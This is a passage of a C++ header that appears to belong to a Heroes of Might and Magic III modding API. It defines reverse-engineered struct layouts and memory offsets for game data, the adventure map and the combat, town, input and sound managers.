H3Resources resources; // * +2C UINT8 players; // * +2D BOOL8 humanEnabled; // * +2E BOOL8 computerEnabled; h3align _f_2F; // * +30 UINT16 firstDay; // * +32 UINT16 repeatEveryXDays; }; // * the format of events in towns struct H3CastleEvent : public H3GlobalEvent { // * +34 INT32 castleNumber; // * +38 UINT8 building[6]; // * +3E UINT8 _u1[2]; // * +40 INT16 creatures[7]; // * +4E UINT8 _u2[2]; }; // * mostly vectors of information used on adventure map struct H3MainSetup { H3Vector<H3ObjectAttributes> objectAttributes; // +00 // +01FB70 H3Vector<H3ObjectDetails> objectDetails; // +10 H3Vector<H3LoadedDEF*> defs; // +20 ??? H3Vector<H3MapArtifact> artifactResource; // +30 H3Vector<H3Monster> monsters; // +40 H3Vector<H3PandorasBox> pandoraEvents; // +50 // +01FBC0 H3Vector<H3SeerHut> seerHuts; // +60 // +01FBD0 H3Vector<H3QuestGuard> questGuards; // +70 // +01FBE0 H3Vector<H3GlobalEvent> globalEvents; // +80 H3Vector<H3CastleEvent> castleEvents; // +90 protected: H3Vector<h3unk*> unkA0; // +A0 public: H3Vector<H3Quest*> quests; // +B0 protected: H3Vector<UINT32> unkC0; // +C0 public: H3MapItem* mapitems; // +D0 // +1FC40 INT32 mapSize; // +D4 // +1FC44 INT8 SubterraneanLevel; // +D8 // +1FC48 protected: h3unk _f_D9[3]; // +D9 // +1FC49~B public: H3Vector<H3ObjectAttributes> objectLists[232]; _H3API_ H3MapItem* GetMapItem(int x, int y, int z); _H3API_ VOID DrawItem(H3MapItem* mitem, H3ObjectDraw* draw); _H3API_ VOID AddObjectAttribute(H3ObjectAttributes* oa); _H3API_ H3Point GetCoordinates(H3MapItem* item); }; // from WoG sources struct H3CampaignInfo { h3unk _f_0; char AvgMapScoreAbove350; char CampaignMapIndex; h3unk _f_3; int BigCampaignIndex; h3unk _f_8[4]; char CrossoverArrayIndex; h3unk _f_D[3]; h3unk _f_10[4]; h3unk _f_14; h3unk _f_15[3]; h3unk _f_18[4]; h3unk _f_1C; h3unk _f_1D[3]; h3unk _f_20[4]; char BigCampaignStarted[21]; h3unk _f_39[3]; H3Vector<h3unk*> CrossoverHeroes; char SomeCrossoverArrays_ref; h3unk _f_4D[3]; int SomeCrossoverArrays; h3unk _f_54[4]; h3unk _f_58[4]; H3Vector<h3unk*> CampaignMapInfo; h3unk _f_6C; h3unk _f_6D[3]; VOID* SomeCrossoverInfoStructs; h3unk _f_74[8]; }; // * artifact merchants is an array of 7 artifacts struct H3ArtifactMerchant { INT32 artifacts[7]; }; // * black market is an array of 7 artifacts struct H3BlackMarket : public H3ArtifactMerchant { }; // * the grail is not always here, but when it is... struct H3Grail { UINT16 x; // +0 UINT16 y; // +2 UINT8 z; // +4 h3unk _f_5; INT8 isPresent; // +6 h3unk _f_7; }; // * information about visibility and wandering monster zone control of map tiles struct H3TileVision { UINT8 vision; // bitfield of players BOOL8 zoneControl; // does not exist in Demo }; // from WoG source struct H3PlayersInfo { h3unk _f_000[8]; INT8 handicap[8]; INT32 townType[8]; h3unk _f_030[8]; INT8 difficulty; CHAR filename[251]; CHAR saveDirectory[100]; h3unk _f_198[12]; INT32 heroMaybe[8]; h3unk _f_1C4[8]; }; // from wog source struct _PlayerUnk_ { h3unk _f_0[28]; int heroCount; h3unk _f_20[36]; }; // from wog source struct H3MapInfo { int mapVersion; h3unk _f_4; char mapDifficulty; h3unk _f_6; h3unk _f_7; h3unk _f_8; h3unk _f_9; h3unk _f_A; char maxHeroLevel; h3unk _f_C; char playerTeam[8]; h3unk _f_15[27]; char specialVictoryCondition; char allowDefeatAllVictory; h3unk _f_32[6]; int victoryConditionHero; // +38 h3unk _f_3C[12]; int VictoryConditionTownX; int VictoryConditionTownY; int VictoryConditionTownZ; h3unk _f_54[20]; int VictoryConditionHeroX; int VictoryConditionHeroY; int VictoryConditionHeroZ; h3unk _f_74[44]; _PlayerUnk_ PlayerUnk[8]; h3unk _f_2C0[16]; }; // * the data for mines on the adventure map struct H3Mine // size 0x40 { // * +0 // -1 no owner INT8 owner; // * +1 // * mine type. 0~6 resource, 7 abandonned INT8 type; h3unk _f_02[2]; // * +4 // * garrisoned army H3Army army; // * +3C UINT8 x; // * +3D UINT8 y; // * +3E UINT8 z; h3unk _f_3F; }; // * custom text for signpost struct H3Signpost { INT8 HasMess; INT8 _u1[3]; H3String message; }; // * data of creature dwelling on adventure map struct H3Dwelling { // * +0 INT8 type; // * +1 // * used to retrieve name INT8 subtype; INT8 _f2[2]; // * +4 INT32 creatureTypes[4]; // * +14 INT16 creatureCounts[4]; // * +1C H3Army defenders; // * +54 UINT8 x; // * +55 UINT8 y; // * +56 UINT8 z; // * +57 INT8 ownerID; UINT8 _f58[4]; }; // * garrison data on adventure map struct H3Garrison { // * +0 INT8 owner; UINT8 _f01[3]; // * +4 H3Army army; // * +40 BOOL8 canRemoveCreatures; // * +41 UINT8 x; // * +42 UINT8 y; // * +43 UINT8 z; }; // * boat data on adventure map // from WoG source struct H3Boat // size 0x28 from 0x4CE5C0 { INT16 x; INT16 y; INT16 z; INT8 visible; H3MapItem* item; // 7 h3unk _f_0B; INT32 object_type; // C INT8 object_flag; h3unk _f_11[3]; INT32 object_setup; // 14h INT8 exists; // 18h INT8 index; // 19h INT8 par1; INT8 par2; INT8 owner; // 1Ch h3unk _f_1D[3]; INT32 hero_id; // 20h INT8 has_hero; //24h h3unk _f_25[3]; }; // * how h3combatmonster is represented during quick combat struct H3QuickBattleCreatures { INT32 count; INT32 type; INT32 num1; INT32 num2; INT32 speed; DOUBLE f_14; DOUBLE f_1C; DOUBLE f_24; h3unk f_2C[4]; h3unk f_30[4]; h3unk f_34[4]; INT32 turretPriority; INT32 unitPower; INT32 stackPower; h3unk f_44[4]; }; // * represents one of the two sides during quick combat struct H3AIQuickBattle { H3Vector<H3QuickBattleCreatures> creatures; INT32 specialTerrain; INT32 spellPoints; BOOL8 canCastSpells; h3unk _f_19[3]; INT32 armyStrength; INT8 tactics; h3unk _f_21[3]; H3Hero* hero; H3Army* army; H3Hero* opponent; BOOL turrets; h3unk _f_31; INT16 turretsLevel; _H3API_ VOID DeleteCreatures(); }; struct H3AIBattleSpell // ctor 4365D0 { // * +0 INT spellId; // * +4 INT skillLevel; // the associated secondary skill level to the spell // * +8 INT spellPower; // * +C INT spellDuration; // * +10 UINT8 f_10; // {1} h3align _f_11[3]; // * +14 INT f_14; // {-1} // * +18 INT f_18; // {-1} // * +1C INT f_1C; // {0} // * +20 UINT8 f_20; // {0} h3align _f_21[3]; }; struct H3AICombatInfo { // * +0 INT heroAttack; // * +4 INT heroDefence; h3unk _f_08[4]; // * +C INT damage[4]; // * +1C INT moveType; // * +20 INT thisSide; // * +24 INT enemySide; }; // * access data about objects on the adventure map struct H3GlobalObjectSettings { BOOL8 cannotEnter; // +0 BOOL8 exitTop; // +1 UINT8 canBeRemoved; // used at 0x548362 h3unk _align; // probably alignment. All objects 0 LPCSTR objectName; INT32 objectID; BOOL decor; // is it a decorative item? }; // * the movement cost to reach a tile for a given hero struct H3TileMovement // size 30 { protected: H3Position mixedPosition; public: struct accessability { unsigned accessible : 1;// 1 unsigned unk1 : 3; // 2, 4, 8 unsigned entrance : 1; // 0x10 unsigned unk2 : 27; // 0x20, 0x40, 0x80, ... }access; protected: h3unk _f_08[16]; // +8 public: UINT16 movementCost; // +18 protected: UINT16 movementCost2; // +1A h3unk _f_1C[2]; public: _H3API_ UINT8 GetX(); _H3API_ UINT8 GetY(); _H3API_ UINT8 GetZ(); _H3API_ BOOL ZoneControlled(); _H3API_ H3MapItem* GetMapItem(); }; // from wog source struct H3TurnTimer { UINT lastShownTime; UINT startTimeMain; UINT turnLimit; UINT showNextPeriod; UINT battleStartTime; }; struct H3CreatureExchange { struct H3LoadedDEF* def; protected: h3unk _f_04[104]; public: H3Army* army; // +6C protected: h3unk _f_70[4]; public: H3Hero* hero; // +74 }; /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////// MANAGERS /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // * doesn't follow Manager format [size 0x70] // * handles movement calculations on adventure map // * is also used during combat struct H3MovementManager { // * +0 h3unk _f_00[8]; // * +8 INT32 available_movement; // * +C INT32 maxLandMovement; // * +10 // * see 0x56B768 INT32 maxWaterMovement; h3unk _f_14; // * +15 // * can hero cast Dimension Door? BOOL8 DD_access; // * +16 // * can hero cast fly? BOOL8 fly_access; // * +17 // * can cast waterwalk? BOOL8 waterwalk_access; // * +18 // * level of waterwalk if cast INT32 waterwalk_level; // * level of fly if cast INT32 fly_level; h3unk _f_20[4]; // * an array of tile movement H3TileMovement** movement_info; h3unk _f28[8]; // * +30 // * map width INT32 mapX; // * +34 // * map height INT32 mapY; // * a vector of?? H3Vector<UINT32> f38; // * a vector of?? H3Vector<UINT32> f48; // * a vector of?? H3Vector<UINT32> f58; // * +68 // * ??? INT32 battleHexes; h3unk _f6C[4]; // * returns reference to H3TileMovement at position _H3API_ H3TileMovement* GetMovementInfo(UINT32 mixed_position); }; // * doesn't follow Manager format // * most of the game data is stored here // * most entries are self-explanatory struct H3Main { protected: h3unk _f_0000[4]; public: // * +4 INT8 disabledShrines[70]; // * +4A INT8 disabledSpells[70]; protected: // * +90 UINT32 cs_bink; // * +94 H3Vector<UINT32> townPreSetup; // * +A4 H3SetupHero heroSetup[156]; h3unk _f_1F454[4]; // * +1F458 H3CampaignInfo campaignInfo; h3unk _f_1F4D4[354]; public: // * +1F636 BOOL8 isDead[8]; // * +1F63E H3Date date; protected: h3unk _f_1F644[32]; public: // * +1F664 H3ArtifactMerchant artifactMerchant; // * +1F680 H3Vector<H3BlackMarket> blackMarkets; // * +1F690 H3Grail grail; // * +1F698 // * 0 - RoE, 1 - AB, 2 - SoD INT32 mapKind; // * +1F69C BOOL8 isCheater; // * +1F69D // * fun fact : Griffin dwelling doesn't require Blacksmith in this mode BOOL8 inTutorial; protected: h3unk _f_1F69E[2]; public: // * +1F6A0 H3PlayersInfo playersInfo; // * +1F86C H3MapInfo mapInfo; // * +1FB3C H3String mapName; // * +1FB4C H3String mapDescription; protected: h3unk _f_1FB5C[20]; public: // * +1FB70 H3MainSetup mainSetup; protected: h3unk _f_20ACC[4]; public: // * +20AD0 H3Player players[8]; // * +21610 H3Vector<H3Town> towns; // * +21620 H3Hero heroes[156]; // * +4DF18 INT8 heroOwner[156]; // * +4DFB4 H3Bitfield heroMayBeHiredBy[156]; // * +4E224 INT8 randomArtifacts[144]; // * +4E2B4 INT8 artifactsAllowed[144]; protected: h3unk _f_4E344[32]; public: // * +4E364 // * bitfield for players UINT8 keymasterVisited[8]; protected: h3unk _f_4E36C[12]; public: // * +4E378 H3Vector<H3Signpost> signpostsBottles; // * +4E388 H3Vector<H3Mine> minesLighthouses; // * +0x4E398 H3Vector<H3Dwelling> dwellings; // * +0x4E3A8 H3Vector<H3Garrison> garrisons; // * +0x4E3B8 H3Vector<H3Boat> boats; // * +0x4E3C8 H3Vector<H3University> universities; // * +0x4E3D8 H3Vector<H3CreatureBank> creatureBanks; // * +4E3E8 INT8 obeliskCount; // * +4E3E9 UINT8 obeliskVisited[48]; protected: h3unk _f_4E419[575]; public: // * +4E658 INT8 bannedSkills[28]; protected: h3unk _f_4E674[4]; public: // * +4E678 // * H3Position H3Vector<UINT32> monolithTwoWay[8]; // * +4E6F8 // * H3Position H3Vector<UINT32> monolithOneWay[8]; protected: h3unk _f_4E778[4]; public: // * +4E77C // * H3Position H3Vector<UINT32> whirlPools; // * +4E78C // * H3Position H3Vector<UINT32> subterraneanGatesDestination; // * +4E79C // * H3Position H3Vector<UINT32> subterraneanGatesID; protected: H3Vector<h3unk*> _f_4E7AC; H3Vector<h3unk*> _f_4E7BC; h3unk _f_4E7CC[4]; public: // functions _H3API_ H3MapItem* GetMapItem(UINT32 mixedPosition); _H3API_ H3Player* GetPlayer(); _H3API_ INT32 GetPlayerID(); _H3API_ H3Hero* GetHero(INT32 id); _H3API_ VOID ResetRandomArtifacts(); _H3API_ INT32 GetRandomArtifactOfLevel(INT32 level); _H3API_ VOID SaveGame(LPCSTR save_name); _H3API_ VOID PlaceObjectOnMap(int x, int y, int z, int type, int subtype, int setup = -1); _H3API_ VOID RefreshMapItemAppearrance(H3MapItem* mi); _H3API_ H3Point GetCoordinates(H3MapItem* item); }; // * size 38h // * base manager format struct H3Manager { protected: struct { h3func managerConstructor; // 0x44D200 h3func managerDestructor; h3func managerUpdate; // goes on } *h3ManagerVTable; H3Manager* parent; H3Manager* child; h3unk _f_0C[4]; INT z_order; CHAR name[28]; // 0x14 INT32 nameEnd; // 0x30 h3unk _f_34[4]; public: _H3API_ VOID SetPreviousManager(H3Manager* prev); _H3API_ VOID SetNextManager(H3Manager* next); }; // * the manager of managers struct H3Executive { H3Manager* first_mgr; H3Manager* last_mgr; H3Manager* active_mgr; h3unk _f_0C[4]; _H3API_ VOID RemoveManager(H3Manager* mgr); _H3API_ INT AddManager(H3Manager* mgr, int order); }; // * This removes the following warning when using enum // * warning C4482: nonstandard extension used: enum '...' used in qualified name #pragma warning(push) #pragma warning(disable : 4482) // * manager for mouse struct H3MouseManager : public H3Manager { protected: h3unk _f_38[20]; INT32 cursorType; // 0 crdeflt, 1 cradvntr, 2 crcombat, 3 crspell, 4 artifact @ 0x67FF88 INT32 cursorFrame; H3LoadedDEF* cursorDef; h3unk _f_58[16]; BOOL cursorHidden; h3unk _f_6C[12]; RTL_CRITICAL_SECTION criticalSection; // 0x78 public: enum H3MouseCursorType : INT32 { Cursor_Default = 0, Cursor_Adventure = 1, Cursor_Combat = 2, Cursor_Spell = 3, Cursor_Artifact = 4, }; enum H3MouseAdventureMapCursorType { AMC_ArrowPointer = 0, AMC_Busy_Wait = 1, AMC_Hero = 2, AMC_Town = 3, AMC_Horse = 4, AMC_Attack = 5, AMC_Boat = 6, AMC_Anchor = 7, AMC_Hero_Meeting = 8, AMC_Rearing_Horse = 9, AMC_Horse2 = 10, AMC_Attack2 = 11, AMC_Boat2 = 12, AMC_Anchor2 = 13, AMC_Hero_Meeting2 = 14, AMC_Rearing_Horse2 = 15, AMC_Horse3 = 16, AMC_Attack3 = 17, AMC_Boat3 = 18, AMC_Anchor3 = 19, AMC_Hero_Meeting3 = 20, AMC_Rearing_Horse3 = 21, AMC_Horse4 = 22, AMC_Attack4 = 23, AMC_Boat4 = 24, AMC_Anchor4 = 25, AMC_Hero_Meeting4 = 26, AMC_Rearing_Horse4 = 27, AMC_Boat_1 = 28, AMC_Boat_2 = 29, AMC_Boat_3 = 30, AMC_Boat_4 = 31, AMC_Map_Scroll_North = 32, AMC_Map_Scroll_Northeast = 33, AMC_Map_Scroll_East = 34, AMC_Map_Scroll_Southeast = 35, AMC_Map_Scroll_South = 36, AMC_Map_Scroll_Southwest = 37, AMC_Map_Scroll_West = 38, AMC_Map_Scroll_Northwest = 39, AMC_Arrow_Pointer = 40, AMC_Dimension_Door = 41, AMC_Scuttle_Boat = 42, }; enum H3MouseBattleFieldCursorType { BFC_Null = 0, BFC_Move = 1, BFC_Fly = 2, BFC_Shooting = 3, BFC_Hero = 4, BFC_Question_Mark = 5, BFC_Arrow_Pointer = 6, BFC_Attack_Northeast = 7, BFC_Attack_East = 8, BFC_Attack_Southeast = 9, BFC_Attack_Southwest = 10, BFC_Attack_West = 11, BFC_Attack_Northwest = 12, BFC_Attack_North = 13, BFC_Attack_South = 14, BFC_Half_Damage = 15, BFC_Attack_Wall = 16, BFC_Heal = 17, BFC_Sacrifice = 18, BFC_Teleport = 19, }; _H3API_ VOID TurnOn(); _H3API_ VOID TurnOff(); _H3API_ INT32 GetType() const; _H3API_ INT32 GetFrame() const; _H3API_ VOID SetCursor(INT32 type, INT32 frame); _H3API_ VOID DefaultCursor(); _H3API_ VOID SetArtifactCursor(INT32 art_id); }; // * named heroWindowManager in H3, abbreviated // * in charge of drawing and dialogs struct H3WindowManager : public H3Manager { protected: UINT32 resultItemID; // 0x38 h3unk _f_3C[4]; struct H3LoadedPCX16* screenPcx16; // +40 h3unk _f_44[4]; struct H3LoadedPCX16* backupScreen; // +4C struct H3Dlg* firstDlg; // +50 struct H3Dlg* lastDlg; // +54 h3unk _f_58[8]; public: enum H3ClickIDs { H3ID_OK = 30725, H3ID_CANCEL = 30726 }; VOID H3Redraw(INT32 x, INT32 y, INT32 dx, INT32 dy); UINT32 ClickedItemID() const; BOOL ClickedOK() const; BOOL ClickedCancel() const; struct H3LoadedPCX16* GetDrawBuffer(); }; #pragma warning(pop) // * in charge of playing sounds struct H3SoundManager : public H3Manager { UINT32 MSSHandle; h3unk _f_40[68]; INT32 clickSoundVar; // +84 h3unk _f_88[8]; _RTL_CRITICAL_SECTION rtlSection[3]; _H3API_ VOID ClickSound(); // modeled after sub_00456540 _H3API_ VOID PlaySound(struct H3WavFile* wav); _H3API_ VOID PlaySound(LPCSTR wavName); }; // * in charge of the adventure map struct H3AdventureManager : public H3Manager { protected: h3unk _f_038[12]; public: // * +44 struct H3Dlg* dlg; protected: h3unk _f_048[8]; public: // * +50 // * for complete calculation of tile movements BOOL movementCalculated; // * +54 // * for partial calculation of tile movements BOOL movementCalculated1; protected: h3unk _f_058[4]; public: // * +5C // * a reference to H3_Main's mainSetup H3MainSetup* map; protected: // * +60 H3LoadedDEF* terrainDEF[10]; h3unk _f_088[4]; // * +8C H3LoadedDEF* riverDEF[4]; h3unk _f_09C[4]; // * +A0 H3LoadedDEF* roadDEF[3]; // * +AC H3LoadedDEF* edgDEF; // * +B0 H3LoadedDEF* adagDEF; // * +B4 H3LoadedDEF* agemulDEF; // * +B8 H3LoadedDEF* agemurDEF; // * +BC H3LoadedDEF* agemllDEF; // * +C0 H3LoadedDEF* agemlrDEF; // * +C4 H3LoadedDEF* tshrcDEF; // * +C8 H3LoadedDEF* radarDEF; // * +CC H3LoadedDEF* tshreDEF; // * +D0 H3Vector<H3LoadedDEF*> defs; // * +E0 H3LoadedDEF* attackDEF; // * +E4 // * the position of top left of the screen H3Position screenPosition; public: // * +E8 // * the position of the mouse cursor in (x,y,z) H3Position mousePosition; // * +EC // * the previous map adventure coordinates of the mouse POINT previousMousePosition; protected: h3unk _f_0F4[24]; // * +10C H3LoadedDEF* heroDEF[18]; // * +154 H3LoadedDEF* boatDEF[3]; // * +160 H3LoadedDEF* boatMovementDEF[3]; // * +16C H3LoadedDEF* heroFlags_00[8]; // * +18C H3LoadedDEF* heroFlags_01[8]; // * +1AC H3LoadedDEF* heroFlags_02[8]; // * +1CC H3LoadedDEF* heroFlags_03[8]; // * +1EC BOOL8 drawTransparentHero; // see 40F65F h3unk _f_1ED[3]; public: // * +1F0 INT32 terrain; protected: h3unk _f_1F4[8]; // * +1FC INT32 heroDirection; h3unk _f_200[12]; // * +20C INT8 centeredHero; h3unk _f_20D[11]; public: // * +218 INT32 monsterTypeBattle; // * +21C INT32 monsterCountBattle; // * +220 INT32 monsterSideBattle; protected: h3unk _f_224[36]; // * +248 UINT32 loopSounds[70]; // * +360 UINT32 horseXYSounds[11]; h3unk _f_38C[8]; public: // * +394 // * see ePanel INT32 currentInfoPanel; protected: h3unk _f_398[32]; public: enum ePanel { PHero = 3, PTown = 4 // from 0 through 7 }; _H3API_ H3MapItem* GetMapItem(); _H3API_ H3MapItem* GetMapItem(int mixedPos); _H3API_ H3MapItem* GetMapItem(int x, int y, int z); _H3API_ UINT8 GetX(); _H3API_ UINT8 GetY(); _H3API_ UINT8 GetZ(); _H3API_ VOID FullUpdate(); _H3API_ VOID MobilizeHero(); _H3API_ VOID DemobilizeHero(); _H3API_ VOID MovementCalculationsMouse(); _H3API_ VOID MovementCalculations(UINT32 mixedPosition); _H3API_ VOID MakeHeroPath(); _H3API_ VOID ShowCoordinates(INT32 x, INT32 y, INT8 z); _H3API_ INT SimulateMouseOver(INT x, INT y); _H3API_ INT SimulateMouseOver(POINT& p); _H3API_ CHAR UpdateHintMessage(); _H3API_ H3Point GetCoordinates(H3MapItem* item); }; // * trading between two armies struct H3SwapManager : public H3Manager // size 0x68 { public: // * +38 struct H3BaseDlg* dlg; protected: h3unk _f_3C[4]; public: H3Hero* hero[2]; // similar to https://github.com/potmdehex/homm3tools/blob/master/hd_edition/hde_mod/hde/structures/swapmgr.h INT32 heroSelected; INT32 heroClicked; protected: h3unk _f_50[4]; public: INT32 slotClicked; protected: h3unk _f_58[5]; BOOL8 samePlayer; // +5D h3unk _f_5E[10]; }; // * in charge of towns struct H3TownManager : public H3Manager // size 472 { // * +38 // * current town structure H3Town* town; protected: h3unk _f_3C[224]; public: // * +11C // * ??? H3CreatureExchange* top; // * +120 // * this gets copied to recipientPage during mouse hover, however if you click fast enough the update isn't done H3CreatureExchange* bottom; // * +12C // * source page H3CreatureExchange* source; // * +130 // * number of source stack INT32 sourcePageStack; // * +134 // * recipient page H3CreatureExchange* recipientPage; // * +138 // * number of recipient page INT32 recipientPageStack; protected: h3unk _f_13C[100]; // * +1A0 // * bitfield of what can be built in the construction screen of the city H3Bitfield buildings[2]; h3unk _f_1B0[20]; h3unk _f_1C4[4]; h3unk _f_1C8[16]; public: _H3API_ VOID Draw(); _H3API_ VOID RefreshScreen(); }; // * keyboard and mouse input struct H3InputManager : public H3Manager { // * modifies equivalent WM_ messages into H3 messages enum MessageType { MT_KEYDOWN = 1, // 0x100 MT_KEYUP = 2, // 0x101 MT_MOUSEMOVE = 4, // 0x200 MT_LBUTTONDOWN = 8, // 0x201 MT_LBUTTONUP = 16, // 0x202 MT_LBUTTONDBLCLK = 8, // 0x203 MT_RBUTTONDOWN = 32, // 0x204 MT_RBUTTONUP = 64, // 0x205 MT_RBUTTONDBLCLK = 32, // 0x206 }; struct InputMessages { UINT message; h3unk f_4[28]; // contents vary }messages[64]; // see 0x4EC6B8, % 64 INT current_message; INT next_message; // ... goes on a bit _H3API_ InputMessages& GetCurrentMessage(); }; // * data for a single battlefield square struct H3CombatSquare { // * +0 // * pixel position on screen INT16 x; // * +2 // * pixel position on screen INT16 y; // * +4 // * pixel position on screen INT16 left; // * +6 // * pixel position on screen INT16 top; // * +8 // * pixel position on screen INT16 right; // * +A // * pixel position on screen INT16 bottom; h3unk _f_0C[4]; // * +10 UINT8 obstacleBits; UINT8 _f_11[3]; // * +14 INT32 obstacleIndex; // * +18 // * the side of stack on this square INT8 stackSide; // * +19 // * the index of stack on this square INT8 stackIndex; // * +1A // * true if a wide creature is here BOOL8 twoHexMonsterSquare; h3unk _f_1B; // * +1C INT32 deadStacksNumber; // * +20 INT8 DeadStackSide[14]; // * +2E INT8 DeadStackIndex[14]; // * +3C h3unk _f_3C[14]; // * +4A INT8 AvailableForLeftSquare; // * +4B INT8 AvailableForRightSquare; h3unk _f_4C[32]; h3unk _f_6C[4]; _H3API_ H3CombatMonster* GetMonster(); }; // * from wog source // * size 24h struct TownTowerLoaded { INT32 crType2Shot; struct H3LoadedDEF* monDefLoaded; struct H3LoadedDEF* shotDefLoaded; INT32 creatureX; INT32 creatureY; INT32 orientation; INT32 defGroup; struct H3DefFrame* frame; INT32 StackNumber; }; // * index of adjacent squares // * -1 if outside of battlefield struct H3AdjacentSquares { INT16 topRight; INT16 right; INT16 bottomRight; INT16 bottomLeft; INT16 left; INT16 topLeft; }; // * the manager of the battlefield struct H3CombatManager : public H3Manager { protected: h3unk _f_0038[4]; public: enum BATTLE_ACTION : INT32 { BA_CANCEL = 0, // Cancel Action(the stack can do a different action now but it may still be impossible to force it to do most actions through ERM). BA_CAST_SPELL = 1, // Hero casts a spell BA_WALK = 2, BA_DEFEND = 3, BA_RETREAT = 4, BA_SURRENDER = 5, BA_WALK_ATTACK = 6, BA_SHOOT = 7, BA_WAIT = 8, BA_CATAPULT = 9, BA_MONSTER_SPELL = 10, BA_FIRST_AID_TENT = 11, BA_NOTHING = 12, //No action(can be to disable stack for this round) }; // * +3C BATTLE_ACTION action; // * +40 INT32 actionParameter; // * +44 INT32 actionTarget; // * +48 INT32 actionParameter2; // * +4C INT8 accessibleSquares[187]; // * +107 INT8 accessibleSquares2[187]; protected: h3unk _f_01C2[2]; public: // * +1C4 H3CombatSquare squares[187]; // * +5394 INT32 landType; protected: h3unk _f_5398[8]; public: // * +53A0 INT32 absoluteObstacleId; // * +53A4 INT32 siegeKind; // * +53A8 INT32 hasMoat; protected: h3unk _f_53AC[4]; public: // * +53B0 H3LoadedPCX16* drawBuffer; protected: h3unk _f_53B4[4]; public: // * +53B8 BOOL doNotDrawShade; // * +53BC // * H3MapItem where combat is taking place H3MapItem* mapitem; // * +53C0 // * special terrain type used INT32 specialTerrain; // * +53C4 BOOL8 antiMagicGarrison; // * +53C5 BOOL8 creatureBank; // * +53C6 BOOL8 boatCombat; protected: h3unk _f_53C7; public: // * +53C8 // * town structure where combat is taking place H3Town* town; // * +53CC // * hero structures from each side H3Hero* hero[2]; // * +53D4 // * spell power from each side INT32 heroSpellPower[2]; protected: h3unk _f_53DC[8]; // * +53E4 // * current group UINT32 HeroAnimation[2]; // * +53EC UINT32 HeroAnimationFrame[2]; h3unk _f_53F4[16]; // * +5404 H3LoadedDEF* heroDefLoaded[2]; // * +540C H3LoadedDEF* heroFlagLoaded[2]; // * +5414 INT32 heroFlagFrame[2]; // * +541C RECT heroUpdateRect[2]; // * +543C RECT heroFlagUpdateRect[2]; // * +545C // * eagle eye 2x vector H3Vector<INT32> eagleEyeSpells[2]; // * chain lightning? h3unk _f_547C[40]; public: // * +54A4 UINT8 isNotAI[2]; // * +54A6 BOOL8 isHuman[2]; // * +54A8 INT32 heroOwner[2]; // * +54B0 BOOL8 artifactAutoCast[2]; protected: h3unk _f_54B2[2]; public: // * +54B4 BOOL heroCasted[2]; // * +54BC INT32 heroMonCount[2]; // * +54C4 H3Army* army[2]; // * +54CC // * a two-sided array of 21 stacks for each side of combat H3CombatMonster stacks[2][21]; protected: h3unk _f_1329C[4]; public: // * +132A0 INT32 turnsSinceLastEnchanterCast[2]; protected: h3unk _f_132A8[16]; public: // * +132B8 INT32 currentMonSide; // * +132BC INT32 currentMonIndex; // * +132C0 INT32 currentActiveSide; // * +132C4 INT32 autoCombat; // * +132C8 H3CombatMonster* activeStack; // * +132CC INT8 blueHighlight; protected: h3unk _f_132CD[3]; public: // * +132D0 INT32 creature_at_mouse_pos; // * +132D4 INT32 mouse_coord; // * +132D8 INT32 attacker_coord; // * +132DC // * the icons of CRCOMBAT.def, see H3MouseManager::H3MouseBattleFieldCursorType INT32 move_type; protected: h3unk _f_132E0[20]; public: // * +132F4 INT32 siegeKind2; // * +132F8 BOOL finished; // * +132FC struct H3CombatDlg* dlg; protected: h3unk _f_13300[356]; // * +13464 LPCSTR backgroundPcxName; public: // * +13468 H3AdjacentSquares adjacentSquares[187]; protected: h3unk _f_13D2C[12]; // * +132E8 RECT updateRect; h3unk _f_13D48[12]; // * +13D54 INT cmNumWinPcxLoaded; public: // * +13D58 // * information about obstacles on battlefield H3Vector<H3Obstacle> obstacleInfo; // * +13D68 BOOL8 tacticsPhase; protected: h3align _f_13D69[3]; public: // * +13D6C INT32 turn; // * +13D70 INT32 tacticsDifference; protected: h3unk _f_13D74[4]; // spell related? // * +13D78 TownTowerLoaded Towers[3]; public: // * +13DE4 INT32 waitPhase; protected: // * +13DE8 INT32 HeroDAttack; // * +13DEC INT32 HeroDDefence; // * +13DF0 INT32 HeroDSpellPower2; // * +13DF4 INT32 HeroDSpellPoints; // * +13DF8 INT32 TownPicturesLoaded[90]; public: // * +13F60 // * hit points of town walls INT32 fort_walls_hp[18]; // * +13FA8 INT32 fort_walls_alive[18]; protected: h3unk f13FF0[4]; public: // * +13FF4 // * pcx of grids struct H3LoadedPCX* CCellGrdPcx; // * +13FF8 // * pcx to shade in blue using cheat menu struct H3LoadedPCX* CCellShdPcx; protected: // * +13FFC INT32 GlobalCardeIndex; public: // * +14000 // * oddly there are only 20, not 21, slots for each side BOOL8 RedrawCreatureFrame[2][20]; // * +14028 BOOL8 heroAnimation[2]; // * +1402A BOOL8 heroFlagAnimation[2]; // * +1402C BOOL8 turretAnimation[3]; protected: h3align _f_1402F; h3unk _f_14030[220]; public: // functions _H3API_ VOID SimulateMouseAtHex(int hex_id); _H3API_ BOOL8 CanCastSpellAtCoord(int spell_id, int spell_expertise, int coordinates); _H3API_ VOID WinBattle(); _H3API_ VOID LoadSpell(INT32 spell_id); _H3API_ VOID CastSpell(int spell_id, int hex_ix, int cast_type_012, int hex2_ix, int skill_level, int spell_power); _H3API_ H3CombatMonster* GetResurrectionTarget(INT32 coordinate); _H3API_ H3CombatMonster* GetAnimateDeadTarget(INT32 coordinate); _H3API_ int NextCreatureToMove(); _H3API_ BOOL8 IsHiddenBattle(); _H3API_ BOOL8 IsBattleOver(); _H3API_ VOID Refresh(); _H3API_ VOID Refresh(BOOL redrawScreen, INT timeDelay, BOOL redrawBackground); _H3API_ VOID RefreshCreatures(); _H3API_ VOID ShadeSquare(int index); _H3API_ BOOL8 IsHumanTurn(); _H3API_ VOID AddStatusMessage(LPCSTR message, BOOL permanent = TRUE); }; // * these are internal to H3API to avoid conflicts namespace H3Internal { _H3API_ H3MouseManager* MouseManager(); _H3API_ H3WindowManager* WindowManager(); _H3API_ H3Executive* Executive(); _H3API_ H3Main* Main(); _H3API_ H3CombatManager* CombatManager(); _H3API_ H3TownManager* TownManager(); _H3API_ H3SoundManager* SoundManager(); _H3API_ H3InputManager* InputManager(); _H3API_ H3AdventureManager* AdventureManager(); _H3API_ H3MovementManager* MovementManager(); _H3API_ H3GlobalObjectSettings* GlobalObjectSettings(); _H3API_ H3Spell* Spell(); _H3API_ 